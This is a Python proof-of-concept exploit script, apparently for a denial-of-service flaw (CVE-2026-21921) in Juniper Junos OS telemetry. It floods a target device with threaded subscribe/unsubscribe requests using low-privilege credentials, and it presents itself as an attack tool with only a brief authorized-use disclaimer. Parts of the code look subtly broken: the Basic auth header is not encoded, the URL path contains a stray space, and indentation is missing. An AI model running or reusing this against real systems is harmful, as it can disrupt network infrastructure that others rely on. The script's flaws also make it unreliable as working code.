#!/usr/bin/env python3
"""
CVE-2026-21921 PoC - Juniper Junos OS Telemetry DoS
Note: This PoC is for educational and authorized testing purposes only.
"""
import requests
import concurrent.futures
import time
import argparse
def subscribe_sensor(target_ip, sensor_path, username, password):
"""Subscribe to telemetry sensor"""
url = f"https://{target_ip}/api/ telemetry/subscribe"
headers = {
"Content-Type": "application/json",
"Authorization": f"Basic {username}:{password}"
}
payload = {
"path": sensor_path,
"format": "json"
}
try:
response = requests.post(url, json=payload, headers=headers, verify=False, timeout=5)
return response.status_code == 200
except:
return False
def unsubscribe_sensor(target_ip, sensor_path, username, password):
"""Unsubscribe from telemetry sensor"""
url = f"https://{target_ip}/api/ telemetry/unsubscribe"
headers = {
"Content-Type": "application/json",
"Authorization": f"Basic {username}:{password}"
}
payload = {
"path": sensor_path
}
try:
response = requests.post(url, json=payload, headers=headers, verify=False, timeout=5)
return response.status_code == 200
except:
return False
def attack_worker(target_ip, sensor_path, username, password, iterations):
"""Worker function to perform subscribe/unsubscribe cycle"""
for _ in range(iterations):
subscribe_sensor(target_ip, sensor_path, username, password)
unsubscribe_sensor(target_ip, sensor_path, username, password)
time.sleep(0.01)
def main():
parser = argparse.ArgumentParser(description='CVE-2026-21921 PoC')
parser.add_argument('--target', required=True, help='Target Junos device IP')
parser.add_argument('--username', required=True, help='Low-privilege username')
parser.add_argument('--password', required=True, help='Password')
parser.add_argument('--threads', type=int, default=10, help='Number of threads')
parser.add_argument('--iterations', type=int, default=100, help='Iterations per thread')
args = parser.parse_args()
sensor_paths = [
"/junos/system/line-card/environment/",
"/junos/system/line-card/interface/",
"/junos/system/line-card/optics/"
]
print(f'[*] Starting CVE-2026-21921 attack on {args.target}')
print(f'[*] Using {args.threads} threads with {args.iterations} iterations each')
with concurrent.futures.ThreadPoolExecutor(max_workers=args.threads) as executor:
futures = []
for sensor in sensor_paths:
future = executor.submit(attack_worker, args.target, sensor,
args.username, args.password, args.iterations)
futures.append(future)
concurrent.futures.wait(futures)
print('[+] Attack completed')
if __name__ == '__main__':
main()